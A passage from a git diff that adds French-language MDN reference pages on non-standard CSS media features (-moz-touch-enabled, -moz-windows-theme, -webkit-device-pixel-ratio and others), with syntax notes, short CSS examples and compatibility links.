+ <dd>Si l'interface de l'appareil affiche une barre de défilement dont la taille est proportionnelle au pourcentage du document visible, cette caractéristique vaut 1 et sinon 0.</dd>
+</dl>
+
+<p><br>
+ <strong>Média :</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Gestion des préfixes min/max :</strong> Non</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La pseudo-classe correspondante {{CSSxRef(":-moz-system-metric/scrollbar-thumb-proportional", ":-moz-system-metric(scrollbar-thumb-proportional)")}}.</li>
+</ul>
diff --git a/files/fr/web/css/@media/-moz-touch-enabled/index.html b/files/fr/web/css/@media/-moz-touch-enabled/index.html
new file mode 100644
index 0000000000..76b8621ab3
--- /dev/null
+++ b/files/fr/web/css/@media/-moz-touch-enabled/index.html
@@ -0,0 +1,46 @@
+---
+title: '-moz-touch-enabled'
+slug: Web/CSS/@media/-moz-touch-enabled
+tags:
+  - '@media'
+  - CSS
+  - Caractéristique média
+  - Non-standard
+translation_of: Archive/Web/CSS/@media/-moz-touch-enabled
+---
+<p>{{CSSRef}}{{Non-standard_Header}}{{Gecko_MinVersion_Header("1.9.2")}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Depuis <a href="/fr/docs/Mozilla/Firefox/Releases/58">Firefox 58</a>, cette caractéristique média ne peut plus être utilisée pour du contenu web, elle est uniquement accessible pour du code pour le chrome/XUL. Voir {{bug(1396066)}} pour plus de détails.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<dl>
+ <dt>{{cssxref("&lt;integer&gt;")}}</dt>
+ <dd>Cette caractéristique vaut 1 si l'appareil prend en charge les évènements tactiles et 0 sinon.</dd>
+</dl>
+
+<p><br>
+ <strong>Média :</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Gestion des préfixes min/max :</strong> Non</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Cette caractéristique peut être utilisée pour afficher des boutons plus gros si l'utilisateur emploie un appareil tactile.</p>
+
+<pre class="brush: css">button {
+  padding: .5em;
+}
+
+@media (-moz-touch-enabled) {
+  button {
+    padding: 1em;
+  }
+}</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Cette fonctionnalité correspond à la pseudo-classe {{CSSxRef(":-moz-system-metric/touch-enabled", ":-moz-system-metric(touch-enabled)")}}.</li>
+</ul>
diff --git a/files/fr/web/css/@media/-moz-windows-accent-color-in-titlebar/index.html b/files/fr/web/css/@media/-moz-windows-accent-color-in-titlebar/index.html
new file mode 100644
index 0000000000..3b2937525c
--- /dev/null
+++ b/files/fr/web/css/@media/-moz-windows-accent-color-in-titlebar/index.html
@@ -0,0 +1,46 @@
+---
+title: '-moz-windows-accent-color-in-titlebar'
+slug: Web/CSS/@media/-moz-windows-accent-color-in-titlebar
+tags:
+  - '@media'
+  - CSS
+  - Caractéristique média
+  - Non-standard
+translation_of: Archive/Web/CSS/@media/-moz-windows-accent-color-in-titlebar
+---
+<div>{{cssref}} {{Non-standard_header}}</div>
+
+<div class="note">
+<p><strong>Note </strong>: Depuis <a href="/fr/docs/Mozilla/Firefox/Releases/58">Firefox 58</a>, cette caractéristique média n'est plus disponible pour être utilisée sur du contenu web. Elle ne peut être utilisée que de façon interne (c'est-à-dire avec XUL et pour le code du chrome). Cf. {{bug(1396066)}} pour plus de détails.</p>
+</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Requêtes_média/Utiliser_les_Media_queries#Cibler_des_caractéristiques_média">caractéristique média</a> <code><strong>-moz-windows-accent-color-in-titlebar</strong></code>, spécifique à Gecko et rattachée à la règle @ <a href="/fr/docs/Web/CSS/@media" title="The @media CSS at-rule lets you specify declarations that depend on the condition of a media query. The rule may be placed at the top level of your code or nested inside any other conditional group at-rule."><code>@media</code></a>, peut-être utilisée afin d'appliquer des styles selon que les couleurs d'accentuation de Microsoft Windows pour les barres de titres sont activées ou non.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<dl>
+ <dt>{{cssxref("&lt;integer&gt;")}}</dt>
+ <dd>Cette caractéristique vaut 1 si les couleurs d'accentuation sont activées pour les barres de titre des fenêtres (pour les versions récentes de Windows, par exemple Windows 10). Sinon, elle vaut 0.</dd>
+</dl>
+
+<p><br>
+ <strong>Média :</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Gestion des préfixes min/max :</strong> non</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">@media (-moz-windows-accent-color-in-titlebar: 1) {
+  h1 {
+    color: -moz-win-accentcolortext;
+  }
+
+  body {
+    background-color: -moz-win-accentcolor;
+  }
+}</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Cette caractéristique est liée aux valeurs {{cssxref("&lt;color&gt;")}} <code>-moz-win-accentcolor</code> et <code>-moz-win-accentcolortext</code> qui permettent d'accéder aux couleurs d'accentuation de Windows depuis CSS.</li>
+</ul>
diff --git a/files/fr/web/css/@media/-moz-windows-classic/index.html b/files/fr/web/css/@media/-moz-windows-classic/index.html
new file mode 100644
index 0000000000..eed112dbf8
--- /dev/null
+++ b/files/fr/web/css/@media/-moz-windows-classic/index.html
@@ -0,0 +1,34 @@
+---
+title: '-moz-windows-classic'
+slug: Web/CSS/@media/-moz-windows-classic
+tags:
+  - '@media'
+  - CSS
+  - Caractéristique média
+  - Non-standard
+translation_of: Archive/Web/CSS/@media/-moz-windows-classic
+---
+<div>{{cssref}} {{Non-standard_header}}</div>
+
+<div class="note">
+<p><strong>Note </strong>: Depuis <a href="/fr/docs/Mozilla/Firefox/Releases/58">Firefox 58</a>, cette caractéristique média n'est plus disponible pour être utilisée sur du contenu web. Elle ne peut être utilisée que de façon interne (c'est-à-dire avec XUL et pour le code du chrome). Cf. {{bug(1396066)}} pour plus de détails.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<dl>
+ <dt>{{cssxref("&lt;integer&gt;")}}</dt>
+ <dd>Cette caractéristique vaut 1 si l'utilisateur utilise Windows sans aucun thème (c'est-à-dire en mode classique plutôt qu'en mode uxtheme). Sinon, elle vaut 0.</dd>
+</dl>
+
+<p><br>
+ <strong>Média :</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Gestion des prefixes min/max :</strong> non</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Cette caractéristique correspond à la pseudo-classe {{CSSxRef(":-moz-system-metric/windows-classic", ":-moz-system-metric(windows-classic)")}}</li>
+ <li>{{CSSxRef("@media/-moz-windows-default-theme", "-moz-windows-default-theme")}}</li>
+ <li>{{CSSxRef("@media/-moz-windows-theme", "-moz-windows-theme")}}</li>
+</ul>
diff --git a/files/fr/web/css/@media/-moz-windows-compositor/index.html b/files/fr/web/css/@media/-moz-windows-compositor/index.html
new file mode 100644
index 0000000000..c590e35390
--- /dev/null
+++ b/files/fr/web/css/@media/-moz-windows-compositor/index.html
@@ -0,0 +1,32 @@
+---
+title: '-moz-windows-compositor'
+slug: Web/CSS/@media/-moz-windows-compositor
+tags:
+  - '@media'
+  - CSS
+  - Caractéristique média
+  - Non-standard
+translation_of: 'Archive/Web/CSS/:-moz-system-metric/-moz-windows-compositor'
+---
+<div>{{cssref}} {{Non-standard_header}}</div>
+
+<div class="note">
+<p><strong>Note </strong>: Depuis <a href="/fr/docs/Mozilla/Firefox/Releases/58">Firefox 58</a>, cette caractéristique média n'est plus disponible pour être utilisée sur du contenu web. Elle ne peut être utilisée que de façon interne (c'est-à-dire avec XUL et pour le code du chrome). Cf. {{bug(1396066)}} pour plus de détails.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<dl>
+ <dt>{{cssxref("&lt;integer&gt;")}}</dt>
+ <dd>Cette caractéristique vaut 1 si l'utilisateur utilise Windows avec le compositeur DWM. Sinon, elle vaut 0.</dd>
+</dl>
+
+<p><br>
+ <strong>Média :</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Gestion des préfixes min/max :</strong> non</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La pseudo-classe correspondante {{CSSxRef(":-moz-system-metric/windows-compositor", ":-moz-system-metric(windows-compositor)")}}</li>
+</ul>
diff --git a/files/fr/web/css/@media/-moz-windows-default-theme/index.html b/files/fr/web/css/@media/-moz-windows-default-theme/index.html
new file mode 100644
index 0000000000..8a84ca3119
--- /dev/null
+++ b/files/fr/web/css/@media/-moz-windows-default-theme/index.html
@@ -0,0 +1,34 @@
+---
+title: '-moz-windows-default-theme'
+slug: Web/CSS/@media/-moz-windows-default-theme
+tags:
+  - '@media'
+  - CSS
+  - Caractéristique média
+  - Non-standard
+translation_of: Archive/Web/CSS/@media/-moz-windows-default-theme
+---
+<div>{{cssref}} {{Non-standard_header}}</div>
+
+<div class="note">
+<p><strong>Note </strong>: Depuis <a href="/fr/docs/Mozilla/Firefox/Releases/58">Firefox 58</a>, cette caractéristique média n'est plus disponible pour être utilisée sur du contenu web. Elle ne peut être utilisée que de façon interne (c'est-à-dire avec XUL et pour le code du chrome). Cf. {{bug(1396066)}} pour plus de détails.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<dl>
+ <dt>{{cssxref("&lt;integer&gt;")}}</dt>
+ <dd>Si l'utilisateur utilise un thème Windows par défaut (Luna, Royale, Zune ou Aero (incluant Vista Basic, Vista Advanced et Aero Glass)), cette caractéristique vaut 1 et sinon elle vaut 0.</dd>
+</dl>
+
+<p><br>
+ <strong>Média :</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Gestion des préfixes min/max :</strong> non</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La pseudo-classe correspondante {{CSSxRef(":-moz-system-metric(windows-default-theme)")}}</li>
+ <li>{{CSSxRef("@media/-moz-windows-classic", "-moz-windows-classic")}}</li>
+ <li>{{CSSxRef("@media/-moz-windows-theme", "-moz-windows-theme")}}</li>
+</ul>
diff --git a/files/fr/web/css/@media/-moz-windows-glass/index.html b/files/fr/web/css/@media/-moz-windows-glass/index.html
new file mode 100644
index 0000000000..9fdccd49a6
--- /dev/null
+++ b/files/fr/web/css/@media/-moz-windows-glass/index.html
@@ -0,0 +1,25 @@
+---
+title: '-moz-windows-glass'
+slug: Web/CSS/@media/-moz-windows-glass
+tags:
+  - '@media'
+  - CSS
+  - Caractéristique média
+  - Non-standard
+translation_of: Archive/Web/CSS/@media/-moz-windows-glass
+---
+<div>{{cssref}} {{Non-standard_header}}</div>
+
+<div class="note">
+<p><strong>Note </strong>: Depuis <a href="/fr/docs/Mozilla/Firefox/Releases/58">Firefox 58</a>, cette caractéristique média n'est plus disponible pour être utilisée sur du contenu web. Elle ne peut être utilisée que de façon interne (c'est-à-dire avec XUL et pour le code du chrome). Cf. {{bug(1396066)}} pour plus de détails.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<dl>
+ <dt>{{cssxref("&lt;integer&gt;")}}</dt>
+ <dd>Cette caractéristique vaut 1 si l'utilisateur utilise l thème Windows Glass et 0 sinon. Note : ce thème n'existe que pour Windows 7 et les versions antérieures.</dd>
+</dl>
+
+<p><strong>Média :</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Gestion des préfixes min/max :</strong> non</p>
diff --git a/files/fr/web/css/@media/-moz-windows-theme/index.html b/files/fr/web/css/@media/-moz-windows-theme/index.html
new file mode 100644
index 0000000000..c0bebdf7f1
--- /dev/null
+++ b/files/fr/web/css/@media/-moz-windows-theme/index.html
@@ -0,0 +1,43 @@
+---
+title: '-moz-windows-theme'
+slug: Web/CSS/@media/-moz-windows-theme
+tags:
+  - '@media'
+  - CSS
+  - Caractéristique média
+  - Non-standard
+translation_of: Archive/Web/CSS/@media/-moz-windows-theme
+---
+<div>{{cssref}} {{Non-standard_header}}</div>
+
+<div class="note">
+<p><strong>Note </strong>: Depuis <a href="/fr/docs/Mozilla/Firefox/Releases/58">Firefox 58</a>, cette caractéristique média n'est plus disponible pour être utilisée sur du contenu web. Elle ne peut être utilisée que de façon interne (c'est-à-dire avec XUL et pour le code du chrome). Cf. {{bug(1396066)}} pour plus de détails.</p>
+</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Requêtes_média/Utiliser_les_Media_queries#Cibler_des_caractéristiques_média">caractéristique média</a> <strong><code>-moz-windows-theme</code></strong>, spécifique à Gecko et rattachée à la règle @ <a href="/fr/docs/Web/CSS/@media" title="The @media CSS at-rule lets you specify declarations that depend on the condition of a media query. The rule may be placed at the top level of your code or nested inside any other conditional group at-rule."><code>@media</code></a>, permet de personnaliser les éléments d'interfaces afin que ceux-ci soient bien intégrés par rapport au thème Windows utilisé par l'utilisateur.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La caractéristique <code>-moz-windows-theme</code> est un mot-clé indiquant le thème Windows actuellement utilisé.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<ul>
+ <li><code>aero</code></li>
+ <li><code>luna-blue</code></li>
+ <li><code>luna-olive</code></li>
+ <li><code>luna-silver</code></li>
+ <li><code>royale</code></li>
+ <li><code>generic</code></li>
+ <li><code>zune</code></li>
+</ul>
+
+<p><strong>Média :</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Gestion des préfixes min/max :</strong> non</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{CSSxRef("@media/-moz-windows-classic", "-moz-windows-classic")}}</li>
+ <li>{{CSSxRef("@media/-moz-windows-default-theme", "-moz-windows-default-theme")}}</li>
+</ul>
diff --git a/files/fr/web/css/@media/-webkit-animation/index.html b/files/fr/web/css/@media/-webkit-animation/index.html
new file mode 100644
index 0000000000..bdb863a659
--- /dev/null
+++ b/files/fr/web/css/@media/-webkit-animation/index.html
@@ -0,0 +1,38 @@
+---
+title: '-webkit-animation'
+slug: Web/CSS/@media/-webkit-animation
+tags:
+  - CSS
+  - Caractéristique média
+  - Non-standard
+  - Reference
+translation_of: Web/CSS/@media/-webkit-animation
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p><strong><code>-webkit-animation</code></strong> est une <a href="/fr/docs/Web/CSS/Requêtes_média/Utiliser_les_Media_queries#Cibler_des_caractéristiques_média">caractéristique média</a> booléenne non-standard qui permet d'indiquer si les animationsCSS ({{cssxref("animation")}}) sont prises en charge dans leurs versions préfixées. Cette caractéristique est uniquement prise en charge par les navigateurs basés sur WebKit. L'alternative standard correspondante consiste à utiliser {{cssxref("@supports")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">@media (-webkit-animation) {
+  /* CSS à utiliser si les animations sont prises en charge */
+} </pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette caractéristique média est une caractéristique média propriétaire liée à WebKit/Blink. Elle ne fait partie d'aucune spécification. Elle est décrite plus en détails dans la <a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/OtherStandardCSS3Features.html#//apple_ref/doc/uid/TP40007601-SW3">référence CSS Apple pour Safari (en anglais)</a>.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.-webkit-animation")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("-webkit-transform-3d")}}</li>
+ <li>{{cssxref("-webkit-transform-2d")}}</li>
+ <li>{{cssxref("-webkit-transition")}}</li>
+ <li><a href="http://www.quirksmode.org/css/tests/mediaqueries/animation.html">Page de test sur quirksmode.org</a></li>
+</ul>
diff --git a/files/fr/web/css/@media/-webkit-device-pixel-ratio/index.html b/files/fr/web/css/@media/-webkit-device-pixel-ratio/index.html
new file mode 100644
index 0000000000..189f3d58b7
--- /dev/null
+++ b/files/fr/web/css/@media/-webkit-device-pixel-ratio/index.html
@@ -0,0 +1,119 @@
+---
+title: '-webkit-device-pixel-ratio'
+slug: Web/CSS/@media/-webkit-device-pixel-ratio
+tags:
+  - CSS
+  - Caractéristique média
+  - Non-standard
+  - Reference
+translation_of: Web/CSS/@media/-webkit-device-pixel-ratio
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p><strong><code>-webkit-device-pixel-ratio</code></strong> est une caractéristique média non-standard, alternative à la caractéristique média standard {{cssxref("@media/resolution","resolution")}}.</p>
+
+<p>Sa valeur correspond au nombre de pixels physiques utilisés par l'appareil pour représenter <a href="/fr/docs/Web/CSS/length#Unités_de_longueur_absolues">un pixel CSS (<code>px</code>)</a>. Bien que la valeur soit de type {{cssxref("&lt;number&gt;")}}, sans unité donc, l'unité implicite est <a href="/fr/docs/Web/CSS/resolution#Unités"><code>dppx</code></a>.</p>
+
+<div class="warning">
+<p><strong>Attention !</strong> Cette caractéristique est spécifique à WebKit. Tant que possible, on utilisera {{cssxref("@media/resolution","resolution")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p><strong><code>-webkit-device-pixel-ratio</code></strong> est une valleur décrivant un intervalle. On peut également utiliser <strong><code>-webkit-min-device-pixel-ratio</code></strong> et <strong><code>-webkit-max-device-pixel-ratio</code></strong> pour fixer un seuil minimum/maximum.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;number&gt;")}}</dt>
+ <dd>Le nombre de pixels physiques pour chaque pixel (<code><a href="/fr/docs/Web/CSS/length#Unités_de_longueur_absolues">px</a></code>) CSS. Bien que la valeur soit un nombre et ne permette pas d'utiliser des unités, l'unité implicite est <code><a href="/fr/docs/Web/CSS/resolution#dppx">dppx</a></code>.</dd>
+</dl>
+
+<h2 id="Implémentation">Implémentation</h2>
+
+<pre class="brush: css">/* Unité dppx implicite */
+@media (-webkit-min-device-pixel-ratio: 2) { ... }
+/* équivalent à */
+@media (min-resolution: 2dppx) { ... }
+
+/* De même */
+@media (-webkit-max-device-pixel-ratio: 2) { ... }
+/* équivalent à */
+@media (max-resolution: 2dppx) { ... }
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* Résolution exacte */
+@media (-webkit-device-pixel-ratio: 1) {
+  p {
+    color: red;
+  }
+}
+
+/* Résolution minimale */
+@media (-webkit-min-device-pixel-ratio: 1.1) {
+  p {
+    font-size: 1.5em;
+  }
+}
+
+/* Résolution maximale */
+@media (-webkit-max-device-pixel-ratio: 3) {
+  p {
+    background: yellow;
+  }
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Voici un test pour la densité de pixel de votre appareil.&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Compat', '#css-media-queries-webkit-device-pixel-ratio', '-webkit-device-pixel-ratio')}}</td>
+   <td>{{Spec2('Compat')}}</td>
+   <td>Définition initiale dans un standard.</td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/OtherStandardCSS3Features.html#//apple_ref/doc/uid/TP40007601-SW3" hreflang="en" lang="en">Safari CSS Reference<br>
+    <small lang="en-US">'media query extensions' in that document.</small></a></td>
+   <td>Documentation non-officielle, non-standard.</td>
+   <td>Documentation initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.-webkit-device-pixel-ratio")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("@media/resolution","resolution")}}</li>
+ <li>{{cssxref("-webkit-transition")}}</li>
+ <li>{{cssxref("-webkit-transform-3d")}}</li>
+ <li>{{cssxref("-webkit-transform-2d")}}</li>
+ <li>{{cssxref("-webkit-animation")}}</li>
+ <li><a href="https://www.w3.org/blog/CSS/2012/06/14/unprefix-webkit-device-pixel-ratio/">Article du W3C pour éviter le préfixe</a></li>
+</ul>
diff --git a/files/fr/web/css/@media/-webkit-transform-2d/index.html b/files/fr/web/css/@media/-webkit-transform-2d/index.html
new file mode 100644
index 0000000000..70111c8f46
--- /dev/null
+++ b/files/fr/web/css/@media/-webkit-transform-2d/index.html
@@ -0,0 +1,36 @@
+---
+title: '-webkit-transform-2d'
+slug: Web/CSS/@media/-webkit-transform-2d
+tags:
+  - CSS
+  - Caractéristique média
+  - Non-standard
+  - Reference
+translation_of: Web/CSS/@media/-webkit-transform-2d
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p><strong><code>-webkit-transform-2d</code></strong> est une <a href="/fr/docs/Web/CSS/Requêtes_média/Utiliser_les_Media_queries#Cibler_des_caractéristiques_média">caractéristique média</a> booléenne non-standard qui indique si les transformations CSS en 2D (cf. {{cssxref("transform")}}) préfixées sont prises en charge par le navigateur.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cette caractéristique est uniquement prise en charge par WebKit et Blink. Mieux vaut utiliser la méthode alternative standard avec {{cssxref("@supports")}} à la place si possible.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette caractéristique média est une caractéristique média propriétaire liée à WebKit/Blink. Elle ne fait partie d'aucune spécification. Elle est décrite plus en détails dans la <a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/OtherStandardCSS3Features.html#//apple_ref/doc/uid/TP40007601-SW3">référence CSS Apple pour Safari (en anglais)</a> .</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.-webkit-transform-2d")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("-webkit-transition")}}</li>
+ <li>{{cssxref("-webkit-transform-3d")}}</li>
+ <li>{{cssxref("-webkit-animation")}}</li>
+ <li><a href="http://www.quirksmode.org/css/tests/mediaqueries/animation.html">Page de test sur quirksmode.org</a></li>
+</ul>
diff --git a/files/fr/web/css/@media/-webkit-transform-3d/index.html b/files/fr/web/css/@media/-webkit-transform-3d/index.html
new file mode 100644
index 0000000000..90db3f262d
--- /dev/null
+++ b/files/fr/web/css/@media/-webkit-transform-3d/index.html
@@ -0,0 +1,71 @@
+---
+title: '-webkit-transform-3d'
+slug: Web/CSS/@media/-webkit-transform-3d
+tags:
+  - CSS
+  - Caractéristique média
+  - Non-standard
+  - Reference
+translation_of: Web/CSS/@media/-webkit-transform-3d
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p><strong><code>-webkit-transform-3d</code></strong> est une <a href="/fr/docs/Web/CSS/Requêtes_média/Utiliser_les_Media_queries#Cibler_des_caractéristiques_média">caractéristique média</a> booléenne non-standard qui indique si les transformations CSS en 3D (cf. {{cssxref("transform")}}) préfixées sont prises en charge par le navigateur.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cette caractéristique est uniquement prise en charge par WebKit et Blink. Une méthode alternative standard consiste à utiliser {{cssxref("@supports")}} à la place.</p>
+</div>
+
+<h2 id="Exmple">Exmple</h2>
+
+<pre class="brush: css">@media (-webkit-transform-3d) {
+  .toto {
+    transform-style: preserve-3d;
+  }
+}
+
+@media (-webkit-transform-3d: 1) {
+  .toto {
+    transform-style: preserve-3d;
+  }
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Compat', '#css-media-queries-webkit-transform-3d', '-webkit-transform-3d')}}</td>
+   <td>{{Spec2('Compat')}}</td>
+   <td>Définition initiale dans un standard.</td>
+  </tr>
+  <tr>
+   <td><a class="external external-icon" href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/OtherStandardCSS3Features.html#//apple_ref/doc/uid/TP40007601-SW3" hreflang="en" lang="en">Safari CSS Reference<br>
+    <small lang="en-US">'media query extensions' in that document.</small></a></td>
+   <td>Documentation non-officielle, non-standard.</td>
+   <td>Documentation initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.-webkit-transform-3d")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("@media/-webkit-transform-2d", "-webkit-transform-2d")}}</li>
+ <li>{{cssxref("@media/-webkit-transition", "-webkit-transition")}}</li>
+ <li>{{cssxref("@media/-webkit-animation", "-webkit-animation")}}</li>
+ <li><a href="http://www.quirksmode.org/css/tests/mediaqueries/animation.html">Page de test sur quirksmode.org</a></li>
+</ul>
diff --git a/files/fr/web/css/@media/-webkit-transition/index.html b/files/fr/web/css/@media/-webkit-transition/index.html
new file mode 100644
index 0000000000..a2fe3ef854
--- /dev/null
+++ b/files/fr/web/css/@media/-webkit-transition/index.html
@@ -0,0 +1,51 @@
+---
+title: '-webkit-transition'
+slug: Web/CSS/@media/-webkit-transition
+tags:
+  - CSS
+  - Caractéristique média
+  - Non-standard
+  - Obsolete
+  - Reference
+translation_of: Web/CSS/@media/-webkit-transition
+---
+<div>{{CSSRef}}{{Non-standard_header}}{{obsolete_header}}</div>
+
+<p><strong><code>-webkit-transition</code></strong> est une <a href="/fr/docs/Web/CSS/Requêtes_média/Utiliser_les_Media_queries#Cibler_des_caractéristiques_média">caractéristique média</a> booléenne non-standard qui permet d'indiquer si les transitions CSS ({{cssxref("transition")}}) sont prises en charge dans leurs versions préfixées.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cette caractéristique est uniquement prise en charge par les navigateurs basés sur WebKit. L'alternative standard correspondante consiste à utiliser {{cssxref("@supports")}}.</p>
+</div>
+
+<h2 id="Privilégier_supports">Privilégier <code>@supports</code></h2>
+
+<p>S'il vous faut déterminer si les transitions CSS sont prises en charges, évitez d'utiliser <code>-webkit-transition</code>. En lieu et place, on utilisera la règle @ {{cssxref("@supports")}} :</p>
+
+<pre class="brush: css">@supports(transition: initial) {
+  /* Les règles CSS à utiliser si   */
+  /* les transitions sont prises en */
+  /* charge. */
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette caractéristique média est une caractéristique média propriétaire liée à WebKit/Blink. Elle ne fait partie d'aucune spécification. Elle est décrite plus en détails dans la <a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/OtherStandardCSS3Features.html#//apple_ref/doc/uid/TP40007601-SW3">référence CSS Apple pour Safari (en anglais)</a>.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.-webkit-transition")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Requêtes_média/Utiliser_les_Media_queries">Utiliser les media queries</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Transitions/Utiliser_transitions_CSS">Utiliser les transitions CSS</a></li>
+ <li>{{cssxref("@supports")}}</li>
+ <li>{{cssxref("transition")}}</li>
+ <li>{{cssxref("-webkit-transform-3d")}}</li>
+ <li>{{cssxref("-webkit-transform-2d")}}</li>
+ <li>{{cssxref("-webkit-animation")}}</li>
+ <li><a href="http://www.quirksmode.org/css/tests/mediaqueries/animation.html">Page de test sur quirksmode.org</a></li>
+</ul>
diff --git a/files/fr/web/css/@media/any-hover/index.html b/files/fr/web/css/@media/any-hover/index.html
new file mode 100644
index 0000000000..c4c315b0e9
--- /dev/null
+++ b/files/fr/web/css/@media/any-hover/index.html
@@ -0,0 +1,72 @@
+---
+title: any-hover
+slug: Web/CSS/@media/any-hover
+tags:
+  - CSS
+  - Caractéristique média
+  - Reference
+translation_of: Web/CSS/@media/any-hover
+---
